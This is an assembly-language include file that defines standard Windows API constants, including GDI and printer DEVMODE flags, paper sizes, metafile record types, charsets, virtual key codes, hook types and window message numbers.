DIB_PAL_INDICES equ 2
DIB_PAL_PHYSINDICES equ 2
DIB_PAL_LOGINDICES equ 4
SYSPAL_ERROR equ 0
SYSPAL_STATIC equ 1
SYSPAL_NOSTATIC equ 2
CBM_CREATEDIB equ 2h
CBM_INIT equ 4h
FLOODFILLBORDER equ 0
FLOODFILLSURFACE equ 1
CCHDEVICENAME equ 32
CCHFORMNAME equ 32
DM_SPECVERSION equ 320h
DM_ORIENTATION equ 1h
DM_PAPERSIZE equ 2h
DM_PAPERLENGTH equ 4h
DM_PAPERWIDTH equ 8h
DM_SCALE equ 10h
DM_COPIES equ 100h
DM_DEFAULTSOURCE equ 200h
DM_PRINTQUALITY equ 400h
DM_COLOR equ 800h
DM_DUPLEX equ 1000h
DM_YRESOLUTION equ 2000h
DM_TTOPTION equ 4000h
DM_COLLATE equ 8000h
DM_FORMNAME equ 10000h
DMORIENT_PORTRAIT equ 1
DMORIENT_LANDSCAPE equ 2
DMPAPER_LETTER equ 1
DMPAPER_FIRST equ DMPAPER_LETTER
DMPAPER_LETTERSMALL equ 2
DMPAPER_TABLOID equ 3
DMPAPER_LEDGER equ 4
DMPAPER_LEGAL equ 5
DMPAPER_STATEMENT equ 6
DMPAPER_EXECUTIVE equ 7
DMPAPER_A3 equ 8
DMPAPER_A4 equ 9
DMPAPER_A4SMALL equ 10
DMPAPER_A5 equ 11
DMPAPER_B4 equ 12
DMPAPER_B5 equ 13
DMPAPER_FOLIO equ 14
DMPAPER_QUARTO equ 15
DMPAPER_10X14 equ 16
DMPAPER_11X17 equ 17
DMPAPER_NOTE equ 18
DMPAPER_ENV_9 equ 19
DMPAPER_ENV_10 equ 20
DMPAPER_ENV_11 equ 21
DMPAPER_ENV_12 equ 22
DMPAPER_ENV_14 equ 23
DMPAPER_CSHEET equ 24
DMPAPER_DSHEET equ 25
DMPAPER_ESHEET equ 26
DMPAPER_ENV_DL equ 27
DMPAPER_ENV_C5 equ 28
DMPAPER_ENV_C3 equ 29
DMPAPER_ENV_C4 equ 30
DMPAPER_ENV_C6 equ 31
DMPAPER_ENV_C65 equ 32
DMPAPER_ENV_B4 equ 33
DMPAPER_ENV_B5 equ 34
DMPAPER_ENV_B6 equ 35
DMPAPER_ENV_ITALY equ 36
DMPAPER_ENV_MONARCH equ 37
DMPAPER_ENV_PERSONAL equ 38
DMPAPER_FANFOLD_US equ 39
DMPAPER_FANFOLD_STD_GERMAN equ 40
DMPAPER_FANFOLD_LGL_GERMAN equ 41
DMPAPER_LAST equ DMPAPER_FANFOLD_LGL_GERMAN
DMPAPER_USER equ 256
DMBIN_UPPER equ 1
DMBIN_FIRST equ DMBIN_UPPER
DMBIN_ONLYONE equ 1
DMBIN_LOWER equ 2
DMBIN_MIDDLE equ 3
DMBIN_MANUAL equ 4
DMBIN_ENVELOPE equ 5
DMBIN_ENVMANUAL equ 6
DMBIN_AUTO equ 7
DMBIN_TRACTOR equ 8
DMBIN_SMALLFMT equ 9
DMBIN_LARGEFMT equ 10
DMBIN_LARGECAPACITY equ 11
DMBIN_CASSETTE equ 14
DMBIN_LAST equ DMBIN_CASSETTE
DMBIN_USER equ 256
DMRES_DRAFT equ -1
DMRES_LOW equ -2
DMRES_MEDIUM equ -3
DMRES_HIGH equ -4
DMCOLOR_MONOCHROME equ 1
DMCOLOR_COLOR equ 2
DMDUP_SIMPLEX equ 1
DMDUP_VERTICAL equ 2
DMDUP_HORIZONTAL equ 3
DMTT_BITMAP equ 1
DMTT_DOWNLOAD equ 2
DMTT_SUBDEV equ 3
DMCOLLATE_FALSE equ 0
DMCOLLATE_TRUE equ 1
DM_GRAYSCALE equ 1h
DM_INTERLACED equ 2h
RDH_RECTANGLES equ 1
GGO_METRICS equ 0
GGO_BITMAP equ 1
GGO_NATIVE equ 2
TT_POLYGON_TYPE equ 24
TT_PRIM_LINE equ 1
TT_PRIM_QSPLINE equ 2
TT_AVAILABLE equ 1h
TT_ENABLED equ 2h
DM_UPDATE equ 1
DM_COPY equ 2
DM_PROMPT equ 4
DM_MODIFY equ 8
DM_IN_BUFFER equ DM_MODIFY
DM_IN_PROMPT equ DM_PROMPT
DM_OUT_BUFFER equ DM_COPY
DM_OUT_DEFAULT equ DM_UPDATE
DC_FIELDS equ 1
DC_PAPERS equ 2
DC_PAPERSIZE equ 3
DC_MINEXTENT equ 4
DC_MAXEXTENT equ 5
DC_BINS equ 6
DC_DUPLEX equ 7
DC_SIZE equ 8
DC_EXTRA equ 9
DC_VERSION equ 10
DC_DRIVER equ 11
DC_BINNAMES equ 12
DC_ENUMRESOLUTIONS equ 13
DC_FILEDEPENDENCIES equ 14
DC_TRUETYPE equ 15
DC_PAPERNAMES equ 16
DC_ORIENTATION equ 17
DC_COPIES equ 18
DCTT_BITMAP equ 1h
DCTT_DOWNLOAD equ 2h
DCTT_SUBDEV equ 4h
CA_NEGATIVE equ 1h
CA_LOG_FILTER equ 2h
ILLUMINANT_DEVICE_DEFAULT equ 0
ILLUMINANT_A equ 1
ILLUMINANT_B equ 2
ILLUMINANT_C equ 3
ILLUMINANT_D50 equ 4
ILLUMINANT_D55 equ 5
ILLUMINANT_D65 equ 6
ILLUMINANT_D75 equ 7
ILLUMINANT_F2 equ 8
ILLUMINANT_MAX_INDEX equ ILLUMINANT_F2
ILLUMINANT_TUNGSTEN equ ILLUMINANT_A
ILLUMINANT_DAYLIGHT equ ILLUMINANT_C
ILLUMINANT_FLUORESCENT equ ILLUMINANT_F2
ILLUMINANT_NTSC equ ILLUMINANT_C
RGB_GAMMA_MIN equ 2500
RGB_GAMMA_MAX equ 65000
REFERENCE_WHITE_MIN equ 6000
REFERENCE_WHITE_MAX equ 10000
REFERENCE_BLACK_MIN equ 0
REFERENCE_BLACK_MAX equ 4000
COLOR_ADJ_MIN equ -100
COLOR_ADJ_MAX equ 100
FONTMAPPER_MAX equ 10
ENHMETA_SIGNATURE equ 464D4520h
ENHMETA_STOCK_OBJECT equ 80000000h
EMR_HEADER equ 1
EMR_POLYBEZIER equ 2
EMR_POLYGON equ 3
EMR_POLYLINE equ 4
EMR_POLYBEZIERTO equ 5
EMR_POLYLINETO equ 6
EMR_POLYPOLYLINE equ 7
EMR_POLYPOLYGON equ 8
EMR_SETWINDOWEXTEX equ 9
EMR_SETWINDOWORGEX equ 10
EMR_SETVIEWPORTEXTEX equ 11
EMR_SETVIEWPORTORGEX equ 12
EMR_SETBRUSHORGEX equ 13
EMR_EOF equ 14
EMR_SETPIXELV equ 15
EMR_SETMAPPERFLAGS equ 16
EMR_SETMAPMODE equ 17
EMR_SETBKMODE equ 18
EMR_SETPOLYFILLMODE equ 19
EMR_SETROP2 equ 20
EMR_SETSTRETCHBLTMODE equ 21
EMR_SETTEXTALIGN equ 22
EMR_SETCOLORADJUSTMENT equ 23
EMR_SETTEXTCOLOR equ 24
EMR_SETBKCOLOR equ 25
EMR_OFFSETCLIPRGN equ 26
EMR_MOVETOEX equ 27
EMR_SETMETARGN equ 28
EMR_EXCLUDECLIPRECT equ 29
EMR_INTERSECTCLIPRECT equ 30
EMR_SCALEVIEWPORTEXTEX equ 31
EMR_SCALEWINDOWEXTEX equ 32
EMR_SAVEDC equ 33
EMR_RESTOREDC equ 34
EMR_SETWORLDTRANSFORM equ 35
EMR_MODIFYWORLDTRANSFORM equ 36
EMR_SELECTOBJECT equ 37
EMR_CREATEPEN equ 38
EMR_CREATEBRUSHINDIRECT equ 39
EMR_DELETEOBJECT equ 40
EMR_ANGLEARC equ 41
EMR_ELLIPSE equ 42
EMR_RECTANGLE equ 43
EMR_ROUNDRECT equ 44
EMR_ARC equ 45
EMR_CHORD equ 46
EMR_PIE equ 47
EMR_SELECTPALETTE equ 48
EMR_CREATEPALETTE equ 49
EMR_SETPALETTEENTRIES equ 50
EMR_RESIZEPALETTE equ 51
EMR_REALIZEPALETTE equ 52
EMR_EXTFLOODFILL equ 53
EMR_LINETO equ 54
EMR_ARCTO equ 55
EMR_POLYDRAW equ 56
EMR_SETARCDIRECTION equ 57
EMR_SETMITERLIMIT equ 58
EMR_BEGINPATH equ 59
EMR_ENDPATH equ 60
EMR_CLOSEFIGURE equ 61
EMR_FILLPATH equ 62
EMR_STROKEANDFILLPATH equ 63
EMR_STROKEPATH equ 64
EMR_FLATTENPATH equ 65
EMR_WIDENPATH equ 66
EMR_SELECTCLIPPATH equ 67
EMR_ABORTPATH equ 68
EMR_GDICOMMENT equ 70
EMR_FILLRGN equ 71
EMR_FRAMERGN equ 72
EMR_INVERTRGN equ 73
EMR_PAINTRGN equ 74
EMR_EXTSELECTCLIPRGN equ 75
EMR_BITBLT equ 76
EMR_STRETCHBLT equ 77
EMR_MASKBLT equ 78
EMR_PLGBLT equ 79
EMR_SETDIBITSTODEVICE equ 80
EMR_STRETCHDIBITS equ 81
EMR_EXTCREATEFONTINDIRECTW equ 82
EMR_EXTTEXTOUTA equ 83
EMR_EXTTEXTOUTW equ 84
EMR_POLYBEZIER16 equ 85
EMR_POLYGON16 equ 86
EMR_POLYLINE16 equ 87
EMR_POLYBEZIERTO16 equ 88
EMR_POLYLINETO16 equ 89
EMR_POLYPOLYLINE16 equ 90
EMR_POLYPOLYGON16 equ 91
EMR_POLYDRAW16 equ 92
EMR_CREATEMONOBRUSH equ 93
EMR_CREATEDIBPATTERNBRUSHPT equ 94
EMR_EXTCREATEPEN equ 95
EMR_POLYTEXTOUTA equ 96
EMR_POLYTEXTOUTW equ 97
EMR_MIN equ 1
EMR_MAX equ 97
STRETCH_ANDSCANS equ 1
STRETCH_ORSCANS equ 2
STRETCH_DELETESCANS equ 3
STRETCH_HALFTONE equ 4
TCI_SRCCHARSET equ 1
TCI_SRCCODEPAGE equ 2
TCI_SRCFONTSIG equ 3
MONO_FONT equ 8
JOHAB_CHARSET equ 130
HEBREW_CHARSET equ 177
ARABIC_CHARSET equ 178
GREEK_CHARSET equ 161
TURKISH_CHARSET equ 162
THAI_CHARSET equ 222
EASTEUROPE_CHARSET equ 238
RUSSIAN_CHARSET equ 204
MAC_CHARSET equ 77
BALTIC_CHARSET equ 186
FS_LATIN1 equ 1h
FS_LATIN2 equ 2h
FS_CYRILLIC equ 4h
FS_GREEK equ 8h
FS_TURKISH equ 10h
FS_HEBREW equ 20h
FS_ARABIC equ 40h
FS_BALTIC equ 80h
FS_THAI equ 10000h
FS_JISJAPAN equ 20000h
FS_CHINESESIMP equ 40000h
FS_WANSUNG equ 80000h
FS_CHINESETRAD equ 100000h
FS_JOHAB equ 200000h
FS_SYMBOL equ 80000000h
DEFAULT_GUI_FONT equ 17
DM_RESERVED1 equ 800000h
DM_RESERVED2 equ 1000000h
DM_ICMMETHOD equ 2000000h
DM_ICMINTENT equ 4000000h
DM_MEDIATYPE equ 8000000h
DM_DITHERTYPE equ 10000000h
DMPAPER_ISO_B4 equ 42
DMPAPER_JAPANESE_POSTCARD equ 43
DMPAPER_9X11 equ 44
DMPAPER_10X11 equ 45
DMPAPER_15X11 equ 46
DMPAPER_ENV_INVITE equ 47
DMPAPER_RESERVED_48 equ 48
DMPAPER_RESERVED_49 equ 49
DMPAPER_LETTER_EXTRA equ 50
DMPAPER_LEGAL_EXTRA equ 51
DMPAPER_TABLOID_EXTRA equ 52
DMPAPER_A4_EXTRA equ 53
DMPAPER_LETTER_TRANSVERSE equ 54
DMPAPER_A4_TRANSVERSE equ 55
DMPAPER_LETTER_EXTRA_TRANSVERSE equ 56
DMPAPER_A_PLUS equ 57
DMPAPER_B_PLUS equ 58
DMPAPER_LETTER_PLUS equ 59
DMPAPER_A4_PLUS equ 60
DMPAPER_A5_TRANSVERSE equ 61
DMPAPER_B5_TRANSVERSE equ 62
DMPAPER_A3_EXTRA equ 63
DMPAPER_A5_EXTRA equ 64
DMPAPER_B5_EXTRA equ 65
DMPAPER_A2 equ 66
DMPAPER_A3_TRANSVERSE equ 67
DMPAPER_A3_EXTRA_TRANSVERSE equ 68
DMTT_DOWNLOAD_OUTLINE equ 4
DMICMMETHOD_NONE equ 1
DMICMMETHOD_SYSTEM equ 2
DMICMMETHOD_DRIVER equ 3
DMICMMETHOD_DEVICE equ 4
DMICMMETHOD_USER equ 256
DMICM_SATURATE equ 1
DMICM_CONTRAST equ 2
DMICM_COLORMETRIC equ 3
DMICM_USER equ 256
DMMEDIA_STANDARD equ 1
DMMEDIA_GLOSSY equ 2
DMMEDIA_TRANSPARENCY equ 3
DMMEDIA_USER equ 256
DMDITHER_NONE equ 1
DMDITHER_COARSE equ 2
DMDITHER_FINE equ 3
DMDITHER_LINEART equ 4
DMDITHER_GRAYSCALE equ 5
DMDITHER_USER equ 256
GGO_GRAY2_BITMAP equ 4
GGO_GRAY4_BITMAP equ 5
GGO_GRAY8_BITMAP equ 6
GGO_GLYPH_INDEX equ 80h
GCP_DBCS equ 1h
GCP_REORDER equ 2h
GCP_USEKERNING equ 8h
GCP_GLYPHSHAPE equ 10h
GCP_LIGATE equ 20h
GCP_DIACRITIC equ 100h
GCP_KASHIDA equ 400h
GCP_ERROR equ 8000h
FLI_MASK equ 103Bh
GCP_JUSTIFY equ 10000h
GCP_NODIACRITICS equ 20000h
FLI_GLYPHS equ 40000h
GCP_CLASSIN equ 80000h
GCP_MAXEXTENT equ 100000h
GCP_JUSTIFYIN equ 200000h
GCP_DISPLAYZWG equ 400000h
GCP_SYMSWAPOFF equ 800000h
GCP_NUMERICOVERRIDE equ 1000000h
GCP_NEUTRALOVERRIDE equ 2000000h
GCP_NUMERICSLATIN equ 4000000h
GCP_NUMERICSLOCAL equ 8000000h
GCPCLASS_LATIN equ 1
GCPCLASS_HEBREW equ 2
GCPCLASS_ARABIC equ 2
GCPCLASS_NEUTRAL equ 3
GCPCLASS_LOCALNUMBER equ 4
GCPCLASS_LATINNUMBER equ 5
GCPCLASS_LATINNUMERICTERMINATOR equ 6
GCPCLASS_LATINNUMERICSEPARATOR equ 7
GCPCLASS_NUMERICSEPARATOR equ 8
GCPCLASS_PREBOUNDRTL equ 80h
GCPCLASS_PREBOUNDLTR equ 40h
DC_BINADJUST equ 19
DC_EMF_COMPLIANT equ 20
DC_DATATYPE_PRODUCED equ 21
DC_COLLATE equ 22
DCTT_DOWNLOAD_OUTLINE equ 8h
DCBA_FACEUPNONE equ 0h
DCBA_FACEUPCENTER equ 1h
DCBA_FACEUPLEFT equ 2h
DCBA_FACEUPRIGHT equ 3h
DCBA_FACEDOWNNONE equ 100h
DCBA_FACEDOWNCENTER equ 101h
DCBA_FACEDOWNLEFT equ 102h
DCBA_FACEDOWNRIGHT equ 103h
ICM_OFF equ 1
ICM_ON equ 2
ICM_QUERY equ 3
EMR_SETICMMODE equ 98
EMR_CREATECOLORSPACE equ 99
EMR_SETCOLORSPACE equ 100
EMR_DELETECOLORSPACE equ 101
SB_HORZ equ 0
SB_VERT equ 1
SB_CTL equ 2
SB_BOTH equ 3
SB_LINEUP equ 0
SB_LINELEFT equ 0
SB_LINEDOWN equ 1
SB_LINERIGHT equ 1
SB_PAGEUP equ 2
SB_PAGELEFT equ 2
SB_PAGEDOWN equ 3
SB_PAGERIGHT equ 3
SB_THUMBPOSITION equ 4
SB_THUMBTRACK equ 5
SB_TOP equ 6
SB_LEFT equ 6
SB_BOTTOM equ 7
SB_RIGHT equ 7
SB_ENDSCROLL equ 8
SBM_SETSCROLLINFO equ 00E9h
SBM_GETSCROLLINFO equ 00EAh
SIF_RANGE equ 0001h
SIF_PAGE equ 0002h
SIF_POS equ 0004h
SIF_DISABLENOSCROLL equ 0008h
SIF_TRACKPOS equ 0010h
SIF_ALL equ SIF_RANGE|SIF_PAGE|SIF_POS|SIF_TRACKPOS
SW_HIDE equ 0
SW_SHOWNORMAL equ 1
SW_NORMAL equ 1
SW_SHOWMINIMIZED equ 2
SW_SHOWMAXIMIZED equ 3
SW_MAXIMIZE equ 3
SW_SHOWNOACTIVATE equ 4
SW_SHOW equ 5
SW_MINIMIZE equ 6
SW_SHOWMINNOACTIVE equ 7
SW_SHOWNA equ 8
SW_RESTORE equ 9
SW_SHOWDEFAULT equ 10
SW_MAX equ 10
HIDE_WINDOW equ 0
SHOW_OPENWINDOW equ 1
SHOW_ICONWINDOW equ 2
SHOW_FULLSCREEN equ 3
SHOW_OPENNOACTIVATE equ 4
SW_PARENTCLOSING equ 1
SW_OTHERZOOM equ 2
SW_PARENTOPENING equ 3
SW_OTHERUNZOOM equ 4
KF_EXTENDED equ 100h
KF_DLGMODE equ 800h
KF_MENUMODE equ 1000h
KF_ALTDOWN equ 2000h
KF_REPEAT equ 4000h
KF_UP equ 8000h
VK_BACK equ 8h
VK_CANCEL equ 3h
VK_CAPITAL equ 14h
VK_CLEAR equ 0Ch
VK_CONTROL equ 11h
VK_DELETE equ 2Eh
VK_DOWN equ 28h
VK_END equ 23h
VK_ESCAPE equ 1Bh
VK_EXECUTE equ 2Bh
VK_HELP equ 2Fh
VK_HOME equ 24h
VK_INSERT equ 2Dh
VK_LBUTTON equ 1h
VK_LEFT equ 25h
VK_MBUTTON equ 4h
VK_MENU equ 12h
VK_NEXT equ 22h
VK_PAUSE equ 13h
VK_PGDN equ 22h
VK_PGUP equ 21h
VK_PRINT equ 2Ah
VK_PRIOR equ 21h
VK_RBUTTON equ 2h
VK_RETURN equ 0Dh
VK_RIGHT equ 27h
VK_SELECT equ 29h
VK_SHIFT equ 10h
VK_SNAPSHOT equ 2Ch
VK_SPACE equ 20h
VK_TAB equ 9h
VK_UP equ 26h
VK_NUMPAD0 equ 60h
VK_NUMPAD1 equ 61h
VK_NUMPAD2 equ 62h
VK_NUMPAD3 equ 63h
VK_NUMPAD4 equ 64h
VK_NUMPAD5 equ 65h
VK_NUMPAD6 equ 66h
VK_NUMPAD7 equ 67h
VK_NUMPAD8 equ 68h
VK_NUMPAD9 equ 69h
VK_MULTIPLY equ 6Ah
VK_ADD equ 6Bh
VK_SEPARATOR equ 6Ch
VK_SUBTRACT equ 6Dh
VK_DECIMAL equ 6Eh
VK_DIVIDE equ 6Fh
VK_F1 equ 70h
VK_F2 equ 71h
VK_F3 equ 72h
VK_F4 equ 73h
VK_F5 equ 74h
VK_F6 equ 75h
VK_F7 equ 76h
VK_F8 equ 77h
VK_F9 equ 78h
VK_F10 equ 79h
VK_F11 equ 7Ah
VK_F12 equ 7Bh
VK_F13 equ 7Ch
VK_F14 equ 7Dh
VK_F15 equ 7Eh
VK_F16 equ 7Fh
VK_F17 equ 80h
VK_F18 equ 81h
VK_F19 equ 82h
VK_F20 equ 83h
VK_F21 equ 84h
VK_F22 equ 85h
VK_F23 equ 86h
VK_F24 equ 87h
VK_NUMLOCK equ 90h
VK_SCROLL equ 91h
VK_LSHIFT equ 0A0h
VK_RSHIFT equ 0A1h
VK_LCONTROL equ 0A2h
VK_RCONTROL equ 0A3h
VK_LMENU equ 0A4h
VK_RMENU equ 0A5h
VK_ATTN equ 0F6h
VK_CRSEL equ 0F7h
VK_EXSEL equ 0F8h
VK_EREOF equ 0F9h
VK_PLAY equ 0FAh
VK_ZOOM equ 0FBh
VK_NONAME equ 0FCh
VK_PA1 equ 0FDh
VK_OEM_CLEAR equ 0FEh
WH_MIN equ -1
WH_MSGFILTER equ -1
WH_JOURNALRECORD equ 0
WH_JOURNALPLAYBACK equ 1
WH_KEYBOARD equ 2
WH_GETMESSAGE equ 3
WH_CALLWNDPROC equ 4
WH_CBT equ 5
WH_SYSMSGFILTER equ 6
WH_MOUSE equ 7
WH_HARDWARE equ 8
WH_DEBUG equ 9
WH_SHELL equ 10
WH_FOREGROUNDIDLE equ 11
WH_MAX equ 11
HC_ACTION equ 0
HC_GETNEXT equ 1
HC_SKIP equ 2
HC_NOREMOVE equ 3
HC_NOREM equ HC_NOREMOVE
HC_SYSMODALON equ 4
HC_SYSMODALOFF equ 5
HCBT_MOVESIZE equ 0
HCBT_MINMAX equ 1
HCBT_QS equ 2
HCBT_CREATEWND equ 3
HCBT_DESTROYWND equ 4
HCBT_ACTIVATE equ 5
HCBT_CLICKSKIPPED equ 6
HCBT_KEYSKIPPED equ 7
HCBT_SYSCOMMAND equ 8
HCBT_SETFOCUS equ 9
HSHELL_WINDOWCREATED equ 1
HSHELL_WINDOWDESTROYED equ 2
HSHELL_ACTIVATESHELLWINDOW equ 3
HKL_PREV equ 0
HKL_NEXT equ 1
KLF_ACTIVATE equ 1h
KLF_SUBSTITUTE_OK equ 2h
KLF_UNLOADPREVIOUS equ 4h
KLF_REORDER equ 8h
KL_NAMELENGTH equ 9
DESKTOP_READOBJECTS equ 1h
DESKTOP_CREATEWINDOW equ 2h
DESKTOP_CREATEMENU equ 4h
DESKTOP_HOOKCONTROL equ 8h
DESKTOP_JOURNALRECORD equ 10h
DESKTOP_JOURNALPLAYBACK equ 20h
DESKTOP_ENUMERATE equ 40h
DESKTOP_WRITEOBJECTS equ 80h
WINSTA_ENUMDESKTOPS equ 1h
WINSTA_READATTRIBUTES equ 2h
WINSTA_ACCESSCLIPBOARD equ 4h
WINSTA_CREATEDESKTOP equ 8h
WINSTA_WRITEATTRIBUTES equ 10h
WINSTA_ACCESSPUBLICATOMS equ 20h
WINSTA_EXITWINDOWS equ 40h
WINSTA_ENUMERATE equ 100h
WINSTA_READSCREEN equ 200h
GWL_WNDPROC equ -4
GWL_HINSTANCE equ -6
GWL_HWNDPARENT equ -8
GWL_STYLE equ -16
GWL_EXSTYLE equ -20
GWL_USERDATA equ -21
GWL_ID equ -12
GCL_MENUNAME equ -8
GCL_HBRBACKGROUND equ -10
GCL_HCURSOR equ -12
GCL_HICON equ -14
GCL_HMODULE equ -16
GCL_CBWNDEXTRA equ -18
GCL_CBCLSEXTRA equ -20
GCL_WNDPROC equ -24
GCL_STYLE equ -26
GCW_ATOM equ -32
WM_USER equ 400h
WM_NULL equ 0h
WM_CREATE equ 1h
WM_DESTROY equ 2h
WM_MOVE equ 3h
WM_SIZE equ 5h
WM_ACTIVATE equ 6h
WA_INACTIVE equ 0
WA_ACTIVE equ 1
WA_CLICKACTIVE equ 2
WM_SETFOCUS equ 7h
WM_KILLFOCUS equ 08h
WM_ENABLE equ 0Ah
WM_SETREDRAW equ 0Bh
WM_SETTEXT equ 0Ch
WM_GETTEXT equ 0Dh
WM_GETTEXTLENGTH equ 0Eh
WM_PAINT equ 0Fh
WM_CLOSE equ 10h
WM_QUERYENDSESSION equ 11h
WM_QUIT equ 12h
WM_QUERYOPEN equ 13h
WM_ERASEBKGND equ 14h
WM_SYSCOLORCHANGE equ 15h
WM_ENDSESSION equ 16h
WM_SHOWWINDOW equ 18h
WM_WININICHANGE equ 1Ah
WM_DEVMODECHANGE equ 1Bh
WM_ACTIVATEAPP equ 1Ch
WM_FONTCHANGE equ 1Dh
WM_TIMECHANGE equ 1Eh
WM_CANCELMODE equ 1Fh
WM_SETCURSOR equ 20h
WM_MOUSEACTIVATE equ 21h
WM_CHILDACTIVATE equ 22h
WM_QUEUESYNC equ 23h
WM_GETMINMAXINFO equ 24h
WM_PAINTICON equ 26h
WM_ICONERASEBKGND equ 27h
WM_NEXTDLGCTL equ 28h
WM_SPOOLERSTATUS equ 2Ah
WM_DRAWITEM equ 2Bh
WM_MEASUREITEM equ 2Ch
WM_DELETEITEM equ 2Dh
WM_VKEYTOITEM equ 2Eh
WM_CHARTOITEM equ 2Fh
WM_SETFONT equ 30h
WM_GETFONT equ 31h
WM_SETHOTKEY equ 32h
WM_GETHOTKEY equ 33h
WM_QUERYDRAGICON equ 37h
WM_COMPAREITEM equ 39h
WM_COMPACTING equ 41h
WM_OTHERWINDOWCREATED equ 42h
WM_OTHERWINDOWDESTROYED equ 43h
WM_COMMNOTIFY equ 44h
CN_RECEIVE equ 1h
CN_TRANSMIT equ 2h
CN_EVENT equ 4h
WM_WINDOWPOSCHANGING equ 46h
WM_WINDOWPOSCHANGED equ 47h
WM_POWER equ 48h
PWR_OK equ 1
PWR_FAIL equ -1
PWR_SUSPENDREQUEST equ 1
PWR_SUSPENDRESUME equ 2
PWR_CRITICALRESUME equ 3
WM_COPYDATA equ 4Ah
WM_CANCELJOURNAL equ 4Bh
WM_NOTIFY equ 4Eh
WM_INPUTLANGUAGECHANGEREQUEST equ 50h
WM_INPUTLANGUAGECHANGE equ 51h
WM_TCARD equ 52h
WM_HELP equ 53h
WM_USERCHANGED equ 54h
WM_NOTIFYFORMAT equ 55h
WM_CONTEXTMENU equ 7Bh
WM_STYLECHANGING equ 7Ch
WM_STYLECHANGED equ 7Dh
WM_DISPLAYCHANGE equ 7Eh
WM_GETICON equ 7Fh
WM_SETICON equ 80h
WM_NCCREATE equ 81h
WM_NCDESTROY equ 82h
WM_NCCALCSIZE equ 83h
WM_NCHITTEST equ 84h
WM_NCPAINT equ 85h
WM_NCACTIVATE equ 86h
WM_GETDLGCODE equ 87h
WM_NCMOUSEMOVE equ 0A0h
WM_NCLBUTTONDOWN equ 0A1h
WM_NCLBUTTONUP equ 0A2h
WM_NCLBUTTONDBLCLK equ 0A3h
WM_NCRBUTTONDOWN equ 0A4h
WM_NCRBUTTONUP equ 0A5h
WM_NCRBUTTONDBLCLK equ 0A6h
WM_NCMBUTTONDOWN equ 0A7h
WM_NCMBUTTONUP equ 0A8h
WM_NCMBUTTONDBLCLK equ 0A9h
WM_KEYFIRST equ 100h
WM_KEYDOWN equ 100h
WM_KEYUP equ 101h
WM_CHAR equ 102h
WM_DEADCHAR equ 103h
WM_SYSKEYDOWN equ 104h
WM_SYSKEYUP equ 105h
WM_SYSCHAR equ 106h
WM_SYSDEADCHAR equ 107h
WM_KEYLAST equ 108h
WM_INITDIALOG equ 110h
WM_COMMAND equ 111h
WM_SYSCOMMAND equ 112h
WM_TIMER equ 113h
WM_HSCROLL equ 114h
WM_VSCROLL equ 115h
WM_INITMENU equ 116h
WM_INITMENUPOPUP equ 117h
WM_MENUSELECT equ 11Fh
WM_MENUCHAR equ 120h
WM_ENTERIDLE equ 121h
WM_CTLCOLORMSGBOX equ 132h
WM_CTLCOLOREDIT equ 133h
WM_CTLCOLORLISTBOX equ 134h
WM_CTLCOLORBTN equ 135h
WM_CTLCOLORDLG equ 136h
WM_CTLCOLORSCROLLBAR equ 137h
WM_CTLCOLORSTATIC equ 138h
WM_MOUSEFIRST equ 200h
WM_MOUSEMOVE equ 200h
WM_LBUTTONDOWN equ 201h
WM_LBUTTONUP equ 202h
WM_LBUTTONDBLCLK equ 203h
WM_RBUTTONDOWN equ 204h
WM_RBUTTONUP equ 205h
WM_RBUTTONDBLCLK equ 206h
WM_MBUTTONDOWN equ 207h
WM_MBUTTONUP equ 208h
WM_MBUTTONDBLCLK equ 209h
WM_MOUSELAST equ 209h
WM_PARENTNOTIFY equ 210h
WM_ENTERMENULOOP equ 211h
WM_EXITMENULOOP equ 212h
WM_MDICREATE equ 220h
WM_MDIDESTROY equ 221h
WM_MDIACTIVATE equ 222h
WM_MDIRESTORE equ 223h
WM_MDINEXT equ 224h
WM_MDIMAXIMIZE equ 225h
WM_MDITILE equ 226h
WM_MDICASCADE equ 227h
WM_MDIICONARRANGE equ 228h
WM_MDIGETACTIVE equ 229h
WM_MDISETMENU equ 230h
WM_DROPFILES equ 233h
WM_MDIREFRESHMENU equ 234h
WM_CUT equ 300h
WM_COPY equ 301h
WM_PASTE equ 302h
WM_CLEAR equ 303h
WM_UNDO equ 304h
WM_RENDERFORMAT equ 305h
WM_RENDERALLFORMATS equ 306h
WM_DESTROYCLIPBOARD equ 307h
WM_DRAWCLIPBOARD equ 308h
WM_PAINTCLIPBOARD equ 309h
WM_VSCROLLCLIPBOARD equ 30Ah
WM_SIZECLIPBOARD equ 30Bh
WM_ASKCBFORMATNAME equ 30Ch
WM_CHANGECBCHAIN equ 30Dh
WM_HSCROLLCLIPBOARD equ 30Eh
WM_QUERYNEWPALETTE equ 30Fh
WM_PALETTEISCHANGING equ 310h
WM_PALETTECHANGED equ 311h
WM_HOTKEY equ 312h
WM_PRINTCLIENT equ 318h
WM_PENWINFIRST equ 380h
WM_PENWINLAST equ 38Fh
ST_BEGINSWP equ 0
ST_ENDSWP equ 1
HTERROR equ -2
HTTRANSPARENT equ -1
HTNOWHERE equ 0
HTCLIENT equ 1
HTCAPTION equ 2
HTSYSMENU equ 3
HTGROWBOX equ 4
HTSIZE equ HTGROWBOX
HTMENU equ 5
HTHSCROLL equ 6
HTVSCROLL equ 7
HTMINBUTTON equ 8
HTMAXBUTTON equ 9
HTLEFT equ 10
HTRIGHT equ 11
HTTOP equ 12
HTTOPLEFT equ 13
HTTOPRIGHT equ 14
HTBOTTOM equ 15
HTBOTTOMLEFT equ 16
HTBOTTOMRIGHT equ 17
HTBORDER equ 18
HTREDUCE equ HTMINBUTTON
HTZOOM equ HTMAXBUTTON
HTSIZEFIRST equ HTLEFT
HTSIZELAST equ HTBOTTOMRIGHT
SMTO_NORMAL equ 0h
SMTO_BLOCK equ 1h
SMTO_ABORTIFHUNG equ 2h
MA_ACTIVATE equ 1
MA_ACTIVATEANDEAT equ 2
MA_NOACTIVATE equ 3
MA_NOACTIVATEANDEAT equ 4
SIZE_RESTORED equ 0
SIZE_MINIMIZED equ 1
SIZE_MAXIMIZED equ 2
SIZE_MAXSHOW equ 3
SIZE_MAXHIDE equ 4
SIZENORMAL equ SIZE_RESTORED
SIZEICONIC equ SIZE_MINIMIZED
SIZEFULLSCREEN equ SIZE_MAXIMIZED
SIZEZOOMSHOW equ SIZE_MAXSHOW
SIZEZOOMHIDE equ SIZE_MAXHIDE
WVR_ALIGNTOP equ 10h
WVR_ALIGNLEFT equ 20h
WVR_ALIGNBOTTOM equ 40h
WVR_ALIGNRIGHT equ 80h
WVR_HREDRAW equ 100h
WVR_VREDRAW equ 200h
WVR_REDRAW equ WVR_HREDRAW|WVR_VREDRAW
